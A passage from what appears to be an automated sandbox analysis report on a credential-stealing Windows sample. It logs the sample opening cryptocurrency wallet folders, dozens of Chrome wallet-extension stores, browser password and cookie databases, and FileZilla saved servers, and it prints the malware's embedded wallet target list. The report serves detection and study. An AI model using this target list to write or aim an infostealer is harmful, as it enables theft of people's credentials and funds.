Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
